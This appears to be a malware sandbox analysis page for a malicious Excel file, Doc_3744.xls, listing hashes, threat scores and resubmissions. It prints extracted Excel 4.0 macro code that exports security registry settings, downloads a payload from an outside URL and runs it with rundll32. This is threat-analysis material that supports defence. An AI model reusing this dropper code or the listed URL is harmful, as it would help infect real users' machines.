Overview

overview

10

Static

static

8

Doc_3744.xls

windows7_x64

10

Doc_3744.xls

windows10_x64

1

Resubmissions

28/02/2021, 17:05 UTC

210228-pjgnbjwth2 8

27/02/2021, 12:13 UTC

210227-bpkha5za7s 8

27/02/2021, 04:19 UTC

210227-7c1xkzg346 10

27/02/2021, 03:32 UTC

210227-2xwvzgykxs 8

27/02/2021, 03:29 UTC

210227-qgrlcph782 8

27/02/2021, 03:16 UTC

210227-k82qfdjlve 8

27/02/2021, 02:45 UTC

210227-mjxh7bv4wj 8

27/02/2021, 02:23 UTC

210227-w6qfkjy5ha 8

27/02/2021, 02:06 UTC

210227-r385kvgs32 8

26/02/2021, 23:10 UTC

210226-yds8gthfax 8

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Doc_3744.xls

  • Size

    62KB

  • Sample

    210227-7c1xkzg346

  • MD5

    47e22049644647ee854cedfe077156e7

  • SHA1

    20ad9f47616a8272dece2ec1039a88c09412c97c

  • SHA256

    5f2adacaf4ecb00ed24dd9dfe355307d0d6e786e40c945ad4c6d1ae3a4835d2a

  • SHA512

    1eeb87173378f4d0e157ee42f5b28e48ff84a35b44d71f004a6180cc2bdbc09e45c071adc7ab0a94c75071fbe3ee13b939ee8cb216b6f2e06c9c24ca34dbbf1b

Score
10/10
macroxlm

Malware Config

Extracted

Language
xlm4.0
Source
1
=CALL("Xlcall32", "Excel4", "JR", 4)
2
=CALL("Shell32", "ShellExecuteA", "JCCCJJ", 0, "open", "C:\Windows\system32\reg.exe", "EXPORT HKCU\Software\Microsoft\Office\14.0\Excel\Security C:\Users\Public\Documents\icSz4h.txt /y", 0, 5)
3
=CALL("urlmon", "URLDownloadToFileA", "JCCJJ", 0, "https://hrdgschool.com/logs.php", "C:\Users\Public\Documents\f4myZ.txt", 0, 0)
4
=CALL("Shell32", "ShellExecuteA", "JCCCJJ", 0, "open", "C:\Windows\system32\rundll32.exe", "C:\Users\Public\Documents\f4myZ.txt,DllRegisterServer ", 0, 5)
URLs
xlm40.dropper

https://hrdgschool.com/logs.php

Targets

    • Target

      Doc_3744.xls

    • Size

      62KB

    • MD5

      47e22049644647ee854cedfe077156e7

    • SHA1

      20ad9f47616a8272dece2ec1039a88c09412c97c

    • SHA256

      5f2adacaf4ecb00ed24dd9dfe355307d0d6e786e40c945ad4c6d1ae3a4835d2a

    • SHA512

      1eeb87173378f4d0e157ee42f5b28e48ff84a35b44d71f004a6180cc2bdbc09e45c071adc7ab0a94c75071fbe3ee13b939ee8cb216b6f2e06c9c24ca34dbbf1b

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Deletes itself

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.